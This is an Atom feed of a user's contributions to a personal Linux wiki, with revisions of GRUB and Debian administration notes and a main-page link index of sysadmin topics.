<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.alessandro.delgallo.net//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Porcelinux</id>
	<title>Alessandro's Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.alessandro.delgallo.net//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Porcelinux"/>
	<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php/Special:Contributions/Porcelinux"/>
	<updated>2026-09-15T06:04:02Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.37.1</generator>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=GRUB&amp;diff=6459</id>
		<title>GRUB</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=GRUB&amp;diff=6459"/>
		<updated>2025-08-21T09:30:21Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Grub 2 =&lt;br /&gt;
* command that generates and prints out configuration:&lt;br /&gt;
 grub2-mkconfig&lt;br /&gt;
* save configuration&lt;br /&gt;
 grub2-mkconfig -o /boot/grub/grub.cfg&lt;br /&gt;
* regenerate EFI file&lt;br /&gt;
 mv /boot/efi/EFI/fedora/grub.cfg /tmp/grub.cfg&lt;br /&gt;
 dnf reinstall grub2-common&lt;br /&gt;
&lt;br /&gt;
* get OS's list of labels&lt;br /&gt;
 grep ^menuentry /boot/grub2/grub.cfg | cut -d &amp;quot;'&amp;quot; -f2&lt;br /&gt;
 Fedora&lt;br /&gt;
 Ubuntu 12.04.2 LTS (12.04)&lt;br /&gt;
 Gentoo Base System release 2.1&lt;br /&gt;
* show actual default entry&lt;br /&gt;
 grub2-editenv list&lt;br /&gt;
 saved_entry=Fedora Linux, with Linux 3.6.6-1.fc17.i686.PAE&lt;br /&gt;
* alter default entry&lt;br /&gt;
 grub2-set-default &amp;quot;Gentoo Base System release 2.1&amp;quot;&lt;br /&gt;
* check...&lt;br /&gt;
 grub2-editenv list&lt;br /&gt;
 saved_entry=Gentoo Base System release 2.1&lt;br /&gt;
&lt;br /&gt;
== Other Operative Systems disappeared ==&lt;br /&gt;
&lt;br /&gt;
From debian 12, an option in grub config will disable the scan for other OS's thus making impossible to boot from them. &lt;br /&gt;
how to fix:&lt;br /&gt;
* open the config&lt;br /&gt;
 vi /etc/default/grub&lt;br /&gt;
* un-comment or add this line:&lt;br /&gt;
 GRUB_DISABLE_OS_PROBER=false&lt;br /&gt;
* regenerate grub config:&lt;br /&gt;
 update-grub&lt;br /&gt;
&lt;br /&gt;
== Boot after update == &lt;br /&gt;
&lt;br /&gt;
 ALERT! /dev/mapper/ubuntu--vg-root does npt exist. Dropping to a shell!&lt;br /&gt;
&lt;br /&gt;
 (initram-fs)# vgchange -ay&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Grub 1.X =&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&amp;amp;chap=10 Link a una documentazione...]&lt;br /&gt;
&lt;br /&gt;
==== Installing GRUB in the Master Boot Record ====&lt;br /&gt;
&lt;br /&gt;
* Con ''grub-install''&lt;br /&gt;
 grub-install /dev/hda&lt;br /&gt;
o meglio... '''(se si sta installando il sistema)'''&lt;br /&gt;
 chroot /mnt/sysimage/&lt;br /&gt;
** con la directory boot sta nella /&lt;br /&gt;
 /sbin/grub-install --root-directory=/boot /dev/md1&lt;br /&gt;
** con la directory boot è una partizione&lt;br /&gt;
 /sbin/grub-install --root-directory=/ /dev/md0&lt;br /&gt;
&lt;br /&gt;
* find grub copies:&lt;br /&gt;
 grub&amp;gt; find /grub/stage1&lt;br /&gt;
* or...&lt;br /&gt;
 grub&amp;gt; find /boot/grub/stage1&lt;br /&gt;
&lt;br /&gt;
* ''grub'' (/usr/sbin/grub)&lt;br /&gt;
 grub&amp;gt; device (hd0) /dev/sdb (/dev/hdb for ide)&lt;br /&gt;
 grub&amp;gt; root (hd0,0)          (La partizione di boot, Disco 0 Partizione 0)&lt;br /&gt;
 grub&amp;gt; setup (hd0)           (Installa GRUB nel MBR)&lt;br /&gt;
 grub&amp;gt; quit                  (Esci dalla shell GRUB)&lt;br /&gt;
&lt;br /&gt;
==== Immagine sfondo grub ====&lt;br /&gt;
    1. xpm.gz file&lt;br /&gt;
    2. 640x480&lt;br /&gt;
    3. 14 colors&lt;br /&gt;
    4. copiare in /boot/grub&lt;br /&gt;
    5. gzip myfile.xpm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== VGA modes ====&lt;br /&gt;
 | 640x480 800x600 1024x768 1280x1024&lt;br /&gt;
 ----+-------------------------------------&lt;br /&gt;
 256 | 0x301 0x303 0x305 0x307&lt;br /&gt;
 32k | 0x310 0x313 0x316 0x319&lt;br /&gt;
 64k | 0x311 0x314 0x317 0x31A&lt;br /&gt;
 16M | 0x312 0x315 0x318 0x31B&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Debian&amp;diff=6458</id>
		<title>Debian</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Debian&amp;diff=6458"/>
		<updated>2025-08-20T20:51:47Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
Linux Distribution&lt;br /&gt;
&lt;br /&gt;
http://www.debian.org/&lt;br /&gt;
&lt;br /&gt;
*; Releases&lt;br /&gt;
*Debian 13 (Trixie)&lt;br /&gt;
*Debian 12 (Bookworm)&lt;br /&gt;
*Debian 11 (Bullseye)&lt;br /&gt;
*Debian 10 (Buster)&lt;br /&gt;
*Debian 9 (Stretch)&lt;br /&gt;
*Debian 8 (Jessie)&lt;br /&gt;
*Debian 7 (wheezy)&lt;br /&gt;
*Debian 6 (squeeze)&lt;br /&gt;
*Debian GNU/Linux 5.0 (lenny)&lt;br /&gt;
*Debian GNU/Linux 4.0 (etch) &lt;br /&gt;
*Debian GNU/Linux 3.1 (sarge) &lt;br /&gt;
*Debian GNU/Linux 3.0 (woody) &lt;br /&gt;
*Debian GNU/Linux 2.2 (potato)&lt;br /&gt;
*Debian GNU/Linux 2.1 (slink)&lt;br /&gt;
*Debian GNU/Linux 2.0 (hamm)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= APT =&lt;br /&gt;
* skip suggested packages:&lt;br /&gt;
 --no-install-recommends&lt;br /&gt;
== testing software ==&lt;br /&gt;
&lt;br /&gt;
* add the backport repo: /etc/apt/sources.list&lt;br /&gt;
 deb http://backports.debian.org/debian-backports lenny-backports main contrib non-free&lt;br /&gt;
* update.....&lt;br /&gt;
 apt-get update&lt;br /&gt;
* install the newest package&lt;br /&gt;
 aptitude -t lenny-backports install &amp;lt;latest_software&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== distribution upgrade =&lt;br /&gt;
&lt;br /&gt;
* 11 -&amp;gt; 12&lt;br /&gt;
 sed -i s/bullseye/bookworm/ /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
 apt update&lt;br /&gt;
 apt upgrade --without-new-pkgs&lt;br /&gt;
 apt full-upgrade&lt;br /&gt;
 init 6 &lt;br /&gt;
&lt;br /&gt;
== how big is your disk ==&lt;br /&gt;
* this will tell you how much disk space the next upgrade will take&lt;br /&gt;
 # apt-get -o APT::Get::Trivial-Only=true dist-upgrade&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== package architecture (arm64) does not match system (armhf) ==&lt;br /&gt;
&lt;br /&gt;
  Errors were encountered while processing:&lt;br /&gt;
 mongodb-org-server_4.4.9_arm64.deb&lt;br /&gt;
  root@raspberrypi02:~# dpkg --add-architecture arm64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== apt Keys ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
W: GPG error: http://archive.debian.org lenny Release: The following signatures were invalid: KEYEXPIRED 1337087218 The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AED4B06F473041FA&lt;br /&gt;
W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*; apt-key list | grep -A 1 expired                           &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pub   1024D/6070D3A1 2006-11-20 [expired: 2009-07-01]&lt;br /&gt;
uid                  Debian Archive Automatic Signing Key (4.0/etch) &amp;lt;ftpmaster@debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   1024D/BBE55AB3 2007-03-31 [expired: 2010-03-30]&lt;br /&gt;
uid                  Debian-Volatile Archive Automatic Signing Key (4.0/etch)&lt;br /&gt;
--&lt;br /&gt;
pub   1024D/F42584E6 2008-04-06 [expired: 2012-05-15]&lt;br /&gt;
uid                  Lenny Stable Release Key &amp;lt;debian-release@lists.debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   4096R/55BE302B 2009-01-27 [expired: 2012-12-31]&lt;br /&gt;
uid                  Debian Archive Automatic Signing Key (5.0/lenny) &amp;lt;ftpmaster@debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   2048R/6D849617 2009-01-24 [expired: 2013-01-23]&lt;br /&gt;
uid                  Debian-Volatile Archive Automatic Signing Key (5.0/lenny)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* and renew them with a small script&lt;br /&gt;
 for a in 6070D3A1 BBE55AB3 F42584E6 55BE302B 6D849617&lt;br /&gt;
  do gpg --keyserver pgpkeys.mit.edu --recv-key $a &lt;br /&gt;
  gpg -a --export $a |  apt-key add - &lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
= locale settings =&lt;br /&gt;
&lt;br /&gt;
* edit the file:&lt;br /&gt;
 /etc/environment&lt;br /&gt;
 ;;;&lt;br /&gt;
 LANG=en_IN&lt;br /&gt;
 LC_MESSAGES=en_IN&lt;br /&gt;
* or&lt;br /&gt;
 LANG=it_IT&lt;br /&gt;
 LC_MESSAGES=it_IT&lt;br /&gt;
&lt;br /&gt;
* and &lt;br /&gt;
 /etc/locale.gen&lt;br /&gt;
 ;;;&lt;br /&gt;
 en_US.UTF-8 UTF-8&lt;br /&gt;
 it_IT ISO-8859-1&lt;br /&gt;
 it_IT.UTF-8 UTF-8&lt;br /&gt;
 it_IT@euro ISO-8859-15&lt;br /&gt;
 en_IN UTF-8&lt;br /&gt;
&lt;br /&gt;
 /etc/environment &amp;amp;&amp;amp; locale-gen&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Debian&amp;diff=6457</id>
		<title>Debian</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Debian&amp;diff=6457"/>
		<updated>2025-08-20T18:49:09Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
Linux Distribution&lt;br /&gt;
&lt;br /&gt;
http://www.debian.org/&lt;br /&gt;
&lt;br /&gt;
*; Releases&lt;br /&gt;
*Debian 12 (Bookworm)&lt;br /&gt;
*Debian 11 (Bullseye)&lt;br /&gt;
*Debian 10 (Buster)&lt;br /&gt;
*Debian 9 (Stretch)&lt;br /&gt;
*Debian 8 (Jessie)&lt;br /&gt;
*Debian 7 (wheezy)&lt;br /&gt;
*Debian 6 (squeeze)&lt;br /&gt;
*Debian GNU/Linux 5.0 (lenny)&lt;br /&gt;
*Debian GNU/Linux 4.0 (etch) &lt;br /&gt;
*Debian GNU/Linux 3.1 (sarge) &lt;br /&gt;
*Debian GNU/Linux 3.0 (woody) &lt;br /&gt;
*Debian GNU/Linux 2.2 (potato)&lt;br /&gt;
*Debian GNU/Linux 2.1 (slink)&lt;br /&gt;
*Debian GNU/Linux 2.0 (hamm)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= APT =&lt;br /&gt;
* skip suggested packages:&lt;br /&gt;
 --no-install-recommends&lt;br /&gt;
== testing software ==&lt;br /&gt;
&lt;br /&gt;
* add the backport repo: /etc/apt/sources.list&lt;br /&gt;
 deb http://backports.debian.org/debian-backports lenny-backports main contrib non-free&lt;br /&gt;
* update.....&lt;br /&gt;
 apt-get update&lt;br /&gt;
* install the newest package&lt;br /&gt;
 aptitude -t lenny-backports install &amp;lt;latest_software&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== distribution upgrade =&lt;br /&gt;
&lt;br /&gt;
* 11 -&amp;gt; 12&lt;br /&gt;
 sed -i s/bullseye/bookworm/ /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
 apt update&lt;br /&gt;
 apt upgrade --without-new-pkgs&lt;br /&gt;
 apt full-upgrade&lt;br /&gt;
 init 6 &lt;br /&gt;
&lt;br /&gt;
== how big is your disk ==&lt;br /&gt;
* this will tell you how much disk space the next upgrade will take&lt;br /&gt;
 # apt-get -o APT::Get::Trivial-Only=true dist-upgrade&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== package architecture (arm64) does not match system (armhf) ==&lt;br /&gt;
&lt;br /&gt;
  Errors were encountered while processing:&lt;br /&gt;
 mongodb-org-server_4.4.9_arm64.deb&lt;br /&gt;
  root@raspberrypi02:~# dpkg --add-architecture arm64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== apt Keys ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
W: GPG error: http://archive.debian.org lenny Release: The following signatures were invalid: KEYEXPIRED 1337087218 The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AED4B06F473041FA&lt;br /&gt;
W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*; apt-key list | grep -A 1 expired                           &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pub   1024D/6070D3A1 2006-11-20 [expired: 2009-07-01]&lt;br /&gt;
uid                  Debian Archive Automatic Signing Key (4.0/etch) &amp;lt;ftpmaster@debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   1024D/BBE55AB3 2007-03-31 [expired: 2010-03-30]&lt;br /&gt;
uid                  Debian-Volatile Archive Automatic Signing Key (4.0/etch)&lt;br /&gt;
--&lt;br /&gt;
pub   1024D/F42584E6 2008-04-06 [expired: 2012-05-15]&lt;br /&gt;
uid                  Lenny Stable Release Key &amp;lt;debian-release@lists.debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   4096R/55BE302B 2009-01-27 [expired: 2012-12-31]&lt;br /&gt;
uid                  Debian Archive Automatic Signing Key (5.0/lenny) &amp;lt;ftpmaster@debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   2048R/6D849617 2009-01-24 [expired: 2013-01-23]&lt;br /&gt;
uid                  Debian-Volatile Archive Automatic Signing Key (5.0/lenny)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* and renew them with a small script&lt;br /&gt;
 for a in 6070D3A1 BBE55AB3 F42584E6 55BE302B 6D849617&lt;br /&gt;
  do gpg --keyserver pgpkeys.mit.edu --recv-key $a &lt;br /&gt;
  gpg -a --export $a |  apt-key add - &lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
= locale settings =&lt;br /&gt;
&lt;br /&gt;
* edit the file:&lt;br /&gt;
 /etc/environment&lt;br /&gt;
 ;;;&lt;br /&gt;
 LANG=en_IN&lt;br /&gt;
 LC_MESSAGES=en_IN&lt;br /&gt;
* or&lt;br /&gt;
 LANG=it_IT&lt;br /&gt;
 LC_MESSAGES=it_IT&lt;br /&gt;
&lt;br /&gt;
* and &lt;br /&gt;
 /etc/locale.gen&lt;br /&gt;
 ;;;&lt;br /&gt;
 en_US.UTF-8 UTF-8&lt;br /&gt;
 it_IT ISO-8859-1&lt;br /&gt;
 it_IT.UTF-8 UTF-8&lt;br /&gt;
 it_IT@euro ISO-8859-15&lt;br /&gt;
 en_IN UTF-8&lt;br /&gt;
&lt;br /&gt;
 /etc/environment &amp;amp;&amp;amp; locale-gen&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6456</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6456"/>
		<updated>2025-08-15T22:46:43Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to Alessandro's wiki'''&lt;br /&gt;
&lt;br /&gt;
''I've populated this page along the path I'm following through the information technology world.&lt;br /&gt;
Beware! some information may be really outdated, started in 2006.&lt;br /&gt;
&lt;br /&gt;
''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''&lt;br /&gt;
&lt;br /&gt;
donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
&lt;br /&gt;
    BTC &lt;br /&gt;
        1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
    LTC &lt;br /&gt;
        LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;br /&gt;
&lt;br /&gt;
[[Alessandro's_Wiki:About]]&lt;br /&gt;
&lt;br /&gt;
== System Administration Topics ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Internet &amp;amp; Network Applications ===&lt;br /&gt;
*; CMS, wiki, etc.&lt;br /&gt;
** [[Trac]]&lt;br /&gt;
** [[mediawiki]]&lt;br /&gt;
** [[Gallery]] ''online photo archive system''&lt;br /&gt;
** [[Plone]]&lt;br /&gt;
** [[Joomla]]&lt;br /&gt;
** [[Drupal]]&lt;br /&gt;
** [[Wordpress]]&lt;br /&gt;
** [[Owncloud]]&lt;br /&gt;
&lt;br /&gt;
*; Daemons&lt;br /&gt;
** [[Mail Systems]], [[Spf]]&lt;br /&gt;
** [[mnogo]]&lt;br /&gt;
** [[supervisord]]&lt;br /&gt;
** [[Apache]]&lt;br /&gt;
** [[lighttpd]]&lt;br /&gt;
** [[Nginx]]&lt;br /&gt;
** [[hotsmtpd]] ''hotmail in Evolution''&lt;br /&gt;
** [[Ganglia]]&lt;br /&gt;
** [[MySQL]]&lt;br /&gt;
** [[PostgreSQL]]&lt;br /&gt;
** [[Oracle]]&lt;br /&gt;
** [[NetBoot]]&lt;br /&gt;
** [[Insync]] ''GoogleDrive(R) &amp;quot;emulator&amp;quot;''&lt;br /&gt;
*; Protocols&lt;br /&gt;
** [[SNMP]]&lt;br /&gt;
** [[NFS]] ''linux Networks''&lt;br /&gt;
** [[Samba]] ''windows networks''&lt;br /&gt;
** [[AFP]]  ''Apple networks''&lt;br /&gt;
** [[rsync]]&lt;br /&gt;
** [[SSH]] ''Secure SHell''&lt;br /&gt;
** [[CVS]]&lt;br /&gt;
** [[Subversion]]&lt;br /&gt;
** [[Git]]&lt;br /&gt;
** [[FTP]]&lt;br /&gt;
** [[OpenVPN]] ''Virtual Private Network''&lt;br /&gt;
** [[wireguard]] ''VPN''&lt;br /&gt;
** [[wget]] ''HTTP from terminal''&lt;br /&gt;
** [[httrack]] ''freeze a website''&lt;br /&gt;
** [[RealTimeWebContent]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Pure System ===&lt;br /&gt;
* [[CPU]] , [[CrossCompiling]]&lt;br /&gt;
* '''x86_64'''&lt;br /&gt;
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''&lt;br /&gt;
** [[Gentoo]]&lt;br /&gt;
*** [[make.conf|/etc/make.conf]]&lt;br /&gt;
*** [[USE_flags]] , [[webapp-config]] , [[Cmake]]&lt;br /&gt;
* [[KDE (intorno)|KDE]] ,  [[Click destro KDE]]&lt;br /&gt;
* [[Gnome]]&lt;br /&gt;
* [[ Qemu ]]&lt;br /&gt;
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]&lt;br /&gt;
* [[VI|VI (Editor di testo)]]&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[Xorg]]&lt;br /&gt;
* [[PostInstallazioni]]&lt;br /&gt;
* [[BIOS]]&lt;br /&gt;
* [[processes and threads]]&lt;br /&gt;
* [[sudo]]&lt;br /&gt;
* [[RemoteConsoles]]&lt;br /&gt;
* [[systemd]]&lt;br /&gt;
* [[Raspberrypi]]&lt;br /&gt;
* [[Wine]]&lt;br /&gt;
&lt;br /&gt;
=== Networking Layer ===&lt;br /&gt;
&lt;br /&gt;
* [[Ethernet]]&lt;br /&gt;
** [[dhcp]]&lt;br /&gt;
** [[Bridging]]&lt;br /&gt;
** [[NAT]]&lt;br /&gt;
* [[Wireless]]&lt;br /&gt;
** [[Schede]]&lt;br /&gt;
** [[Wardriving]]&lt;br /&gt;
* [[Firewall (iptables)]]&lt;br /&gt;
* [[Livello Fisico|Physical Layer]]&lt;br /&gt;
* [[IP Protocol]]&lt;br /&gt;
* [[router-language]]&lt;br /&gt;
* [[OpenWRT]]&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Multimedia ===&lt;br /&gt;
* Video&lt;br /&gt;
** [[Kodi]]&lt;br /&gt;
** [[Resolution Standards]], [[Compiz]]&lt;br /&gt;
** [[VideoCaptureAdapters]]&lt;br /&gt;
** [[MPLAYER_MENCODER|mplayer, mencoder &amp;amp; ffmpeg]]&lt;br /&gt;
** [[ffserver|ffserver]]&lt;br /&gt;
** [[crtmpserver|C++ rtmp Server]]&lt;br /&gt;
** [[motion]]&lt;br /&gt;
** [[Imagemagick]]&lt;br /&gt;
** [[DVDStyler]] (authoring DVD)&lt;br /&gt;
** [[PiTiVi]] (montaggio video)&lt;br /&gt;
** [[Kino]] &lt;br /&gt;
** [[youtube]]&lt;br /&gt;
** [[JWplayer]]&lt;br /&gt;
** [[DarwinStreamingServer]]&lt;br /&gt;
** [[Conversioni Numeriche]]&lt;br /&gt;
** [[webcamstudio]]&lt;br /&gt;
** [[Jitsi]]&lt;br /&gt;
** [[Moonlight]]&lt;br /&gt;
* Audio&lt;br /&gt;
** [[Volumio]]&lt;br /&gt;
** [[pulseaudio]]&lt;br /&gt;
** [[Amarok]]&lt;br /&gt;
** [[ESOUND]]&lt;br /&gt;
** [[SOX]]&lt;br /&gt;
** [[mpd]] ''Music server''&lt;br /&gt;
*; Network / Server&lt;br /&gt;
** [[Skype]]&lt;br /&gt;
** [[Converter]]&lt;br /&gt;
** [[RealMedia]]&lt;br /&gt;
** [[red5]]&lt;br /&gt;
** [[erlyvideo]]&lt;br /&gt;
** [[Beryl Window Manager]]&lt;br /&gt;
* Drivers&lt;br /&gt;
** [[saa713x]]&lt;br /&gt;
** [[touchscreen]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Storage, File Systems &amp;amp; Data Recovery ===&lt;br /&gt;
* [[FileSystems]]&lt;br /&gt;
* [[devices and storage]] ''manage, analyze, etc.''&lt;br /&gt;
** [[SCSI]]&lt;br /&gt;
** [[Mounting devices]]&lt;br /&gt;
** [[crypted disk image]]&lt;br /&gt;
* [[RAID]]&lt;br /&gt;
* [[LVM]]&lt;br /&gt;
* [[Ramdisk]]&lt;br /&gt;
* [[Cattive abitudini]]&lt;br /&gt;
* [[Backups]]&lt;br /&gt;
** [[Bacula]]&lt;br /&gt;
* [[Propagazione]] &lt;br /&gt;
* [[ISO Managing (ISO9660)]]&lt;br /&gt;
* [[DRBD]]&lt;br /&gt;
&lt;br /&gt;
=== Kernel ===&lt;br /&gt;
* [[Kernel_boot_parameters|Boot Parameters]]&lt;br /&gt;
* [[Configuring|Configuring &amp;amp; compiling]]&lt;br /&gt;
* [[Sheduling]]&lt;br /&gt;
* [[IO Sheduler]]&lt;br /&gt;
* [[mettere alla prova]]&lt;br /&gt;
* [[memory]]&lt;br /&gt;
* [[entropy]]&lt;br /&gt;
* [[clock]]&lt;br /&gt;
* [[Docker]]&lt;br /&gt;
&lt;br /&gt;
=== Monitoring &amp;amp; Security ===&lt;br /&gt;
* [[lm_sensors]] ''linux hardware sensor layer''&lt;br /&gt;
* [[Nagios]] ''advanced sesor-based network monitoring system''&lt;br /&gt;
* [[Munin]]  ''draws graphs from system sensors''&lt;br /&gt;
* [[Ganglia]] ''graphs and host grouping for clusters''&lt;br /&gt;
* [[MRTG]]  ''rrdtool based snmp-based switch grapher''&lt;br /&gt;
* [[Modsecurity]]  ''Web application firewall''&lt;br /&gt;
** '''''security'''''&lt;br /&gt;
* [[Tripwire]]&lt;br /&gt;
* [[Supervisord]]&lt;br /&gt;
* [[Awstats]]&lt;br /&gt;
* [[Observium]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Crypto, Cypherpunks and Hippy Brokers ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Crypto world Information ===&lt;br /&gt;
&lt;br /&gt;
News&lt;br /&gt;
* https://www.coindesk.com/&lt;br /&gt;
* https://cointelegraph.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data and graphs&lt;br /&gt;
* http://cryptocoin.cc/&lt;br /&gt;
* https://coinmarketcap.com/&lt;br /&gt;
* https://coincheckup.com/&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
* [[Crypto]] Exchanges and Stuff&lt;br /&gt;
* [[Wallets]]&lt;br /&gt;
** [[Ethereum]]&lt;br /&gt;
'' loosing money is very easy !!!'' if you're not sure, better send it to me...&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Mining World ===&lt;br /&gt;
&lt;br /&gt;
* [[Mining]] ''my notes and mining experiments'' (use with care!!)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== End Users Topics ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
==== GNU/Linux distos ====&lt;br /&gt;
&lt;br /&gt;
* [[Debian]]&lt;br /&gt;
** [[Ubuntu]]&lt;br /&gt;
** [[UbuntuStudio]]&lt;br /&gt;
* [[Scientific Linux]]&lt;br /&gt;
** [[RedHat Enterprise Linux]]&lt;br /&gt;
** [[CentOS]]&lt;br /&gt;
&lt;br /&gt;
[[TabellaCaratteristicheDistribuzioni]]&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/][[Image:Gentoo.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
[https://www.scientificlinux.org][[Image:scientificlinux.gif]]&lt;br /&gt;
&lt;br /&gt;
[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Programming/Scripting ===&lt;br /&gt;
* [[code analysis]] ''code analyzing software''&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[UML]]&lt;br /&gt;
* [[CSS]]&lt;br /&gt;
* [[PHP]]&lt;br /&gt;
* [[Javascript]]&lt;br /&gt;
* [[Python]]&lt;br /&gt;
* [[C]]&lt;br /&gt;
* [[SQL]]&lt;br /&gt;
* [[Curl]]&lt;br /&gt;
* [[Perl]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
===== Audio/Video =====&lt;br /&gt;
*'''[[Formati di Compressione]]'''&lt;br /&gt;
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''&lt;br /&gt;
*'''[[MPLAYER_MENCODER|Mplayer &amp;amp; Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''&lt;br /&gt;
*'''[[MIME Types]]''' ''associare tipi di file a programmi''&lt;br /&gt;
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''&lt;br /&gt;
*'''[[Audacity]]''' ''Editing audio''&lt;br /&gt;
*'''[[skype]]''' ''Skype &amp;amp; VoIP''&lt;br /&gt;
